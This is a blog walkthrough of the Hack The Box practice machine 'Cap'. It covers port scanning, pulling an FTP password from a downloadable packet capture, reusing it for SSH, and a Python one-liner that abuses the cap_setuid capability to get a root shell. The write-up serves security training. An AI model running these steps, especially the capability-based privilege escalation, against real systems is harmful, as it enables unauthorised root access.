200 words

1 minute

[HTB - Easy] Cap

2023-09-08

HTB

Box

/

Easy

nmap#

First, we’ll scan the open ports of the IP:

1
┌─[eu-vip-23]─[10.10.14.5]─[htb-jsthope@htb-xbv1dyv8fx]─[~]
2
└──╼ [★]$ nmap 10.10.10.245
3
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-07 22:35 BST
4
Nmap scan report for 10.10.10.245
5
Host is up (0.18s latency).
6
Not shown: 997 closed tcp ports (conn-refused)
7
PORT   STATE SERVICE
8
21/tcp open  ftp
9
22/tcp open  ssh
10
80/tcp open  http
11

12
Nmap done: 1 IP address (1 host up) scanned in 8.69 seconds

http#

On the site, we notice we’re logged in by default as the user “Nathan”. We then find that the site allows downloading network captures: http://10.10.10.245/data/0

We download pcap number 0 and analyze it with Wireshark: pcap

We then find Nathan’s password (used for FTP).

ssh#

Nathan’s FTP password is the same as his SSH password:

1
─[eu-vip-23]─[10.10.14.5]─[htb-jsthope@htb-xbv1dyv8fx]─[~]
2
└──╼ [★]$ ssh nathan@10.10.10.245

We then retrieve the user flag:

1
nathan@cap:~$ ls
2
user.txt
3
nathan@cap:~$ cat user.txt
4
ebd67..bc21c

privesc#

We check for vulnerabilities related to capabilities:

1
nathan@cap:~$ getcap -r / 2>/dev/null
2
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
3
/usr/bin/ping = cap_net_raw+ep
4
/usr/bin/traceroute6.iputils = cap_net_raw+ep
5
/usr/bin/mtr-packet = cap_net_raw+ep
6
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

We can immediately see here that python3.8 is likely vulnerable to a setuid-type exploit. You can find capability exploits on gfobins:

1
nathan@cap:~$ python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
2

3
# id
4
uid=0(root) gid=1001(nathan) groups=1001(nathan)

We are indeed root! All that remains is to retrieve the final flag:

1
# cat /root/root.txt
2
0987..b266c

[HTB - Easy] Cap

https://jsthope.xyz/posts/cap/cap/

Author

jsthope

Published at

2023-09-08

License

CC BY-SA 4.0

[HTB - Hard] Monitors